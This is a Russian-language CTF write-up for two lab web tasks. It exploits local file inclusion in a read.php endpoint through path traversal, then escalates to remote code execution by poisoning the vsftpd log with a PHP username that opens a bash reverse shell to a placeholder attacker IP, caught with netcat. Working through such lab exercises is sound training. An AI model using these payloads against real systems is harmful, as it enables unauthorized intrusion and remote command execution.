Задание в первой (web-2-1) звучит так - "Реализуйте LFI на узле www.edu.stf (10.124.1.235)."
LFI - local file inclusion - уязвимость позволяющая просматривать содержимое файлов на сервер через URL, query параметры и тд. (при наличии уязвимого кода само собой).
Открываем сайт в Burp, видим повторяющийся запрос
GET /api/read.php?file=/opt/cpu.txtЗапрос подобного вида потенциально уязвим. Мы можем сразу получить флаг, выполнив -
GET /api/read.php?file=../../../../../../etc/pt.flagВторое задание звучит так:
"Получите RCE на узле www.edu.stf (10.124.1.235) посредством LFI."
Сканируем nmap-ом хост:
nmap -sC -sV <ip>
Находим запущенный vsftpd. Гуглим LFI + vsftd и понимаем, что есть возможность внедрить вредоносный php код и исполнить его, если vsftpd пишет лог с именем пользователя. Проверим любым ftp клиентом и используем LFI, чтобы прочитать лог -
GET /api/read.php?file=../../../../var/log/vsftpd.log HTTP/1.1Видим что имя пользователя выводится в логе. А читаем мы этот лог через уязвимый read.php (include/require функции внутри), который может выполнить php код, который мы вставим вместо имени пользователя.
ftp <ip>
USER: <?=`bash -c 'bash -i >& /dev/tcp/<YOU_IP>/4444 0>&1'`?>
PASS: <any>
Тут мы подключаемся по ftp и в поле юзера добавляем payload с reverse shell.
У себя ловим шел:
nc -lvnp 4444
Выполняем запрос на чтение vsftpd.log и получаем шелл. Для получение флага выполняем
/home/rceflag#ctf